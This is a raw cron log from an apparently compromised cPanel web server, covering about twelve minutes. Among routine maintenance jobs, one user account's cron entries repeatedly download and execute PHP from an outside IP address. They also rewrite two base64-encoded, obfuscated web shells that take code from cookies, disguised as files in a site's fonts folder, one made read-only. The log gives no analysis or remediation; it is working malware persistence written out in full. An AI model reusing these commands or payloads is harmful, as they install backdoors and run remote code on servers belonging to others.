Sep  2 09:24:01 ip-184-168-122-23 CROND[21662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:24:01 ip-184-168-122-23 CROND[21666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:24:01 ip-184-168-122-23 CROND[21665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:24:01 ip-184-168-122-23 CROND[21669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:25:02 ip-184-168-122-23 CROND[21800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:25:02 ip-184-168-122-23 CROND[21799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:25:02 ip-184-168-122-23 CROND[21803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:25:02 ip-184-168-122-23 CROND[21804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:25:02 ip-184-168-122-23 CROND[21805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:25:02 ip-184-168-122-23 CROND[21802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:26:01 ip-184-168-122-23 CROND[21897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:26:02 ip-184-168-122-23 CROND[21898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:26:02 ip-184-168-122-23 CROND[21899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:26:02 ip-184-168-122-23 CROND[21902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:26:02 ip-184-168-122-23 CROND[21906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:27:01 ip-184-168-122-23 CROND[22053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:27:01 ip-184-168-122-23 CROND[22055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:27:01 ip-184-168-122-23 CROND[22056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:27:01 ip-184-168-122-23 CROND[22059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:28:01 ip-184-168-122-23 CROND[22255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:28:01 ip-184-168-122-23 CROND[22257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:28:01 ip-184-168-122-23 CROND[22259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:28:01 ip-184-168-122-23 CROND[22261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:28:01 ip-184-168-122-23 CROND[22258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:29:01 ip-184-168-122-23 CROND[22380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:29:01 ip-184-168-122-23 CROND[22382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:29:01 ip-184-168-122-23 CROND[22381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:29:01 ip-184-168-122-23 CROND[22383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:30:02 ip-184-168-122-23 CROND[22553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:30:02 ip-184-168-122-23 CROND[22558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:30:02 ip-184-168-122-23 CROND[22559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:31:01 ip-184-168-122-23 CROND[22683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:31:01 ip-184-168-122-23 CROND[22685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:31:01 ip-184-168-122-23 CROND[22687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:31:01 ip-184-168-122-23 CROND[22688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:31:01 ip-184-168-122-23 CROND[22686]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:32:01 ip-184-168-122-23 CROND[22810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:32:01 ip-184-168-122-23 CROND[22814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:32:01 ip-184-168-122-23 CROND[22813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:32:01 ip-184-168-122-23 CROND[22812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:32:01 ip-184-168-122-23 CROND[22815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:33:01 ip-184-168-122-23 CROND[23029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:33:01 ip-184-168-122-23 CROND[23031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:33:01 ip-184-168-122-23 CROND[23030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:33:01 ip-184-168-122-23 CROND[23035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:34:01 ip-184-168-122-23 CROND[23168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:34:01 ip-184-168-122-23 CROND[23169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:34:01 ip-184-168-122-23 CROND[23170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:34:01 ip-184-168-122-23 CROND[23172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:34:01 ip-184-168-122-23 CROND[23171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23317]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:35:01 ip-184-168-122-23 CROND[23324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:35:01 ip-184-168-122-23 CROND[23325]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 09:36:01 ip-184-168-122-23 CROND[23441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:36:01 ip-184-168-122-23 CROND[23443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
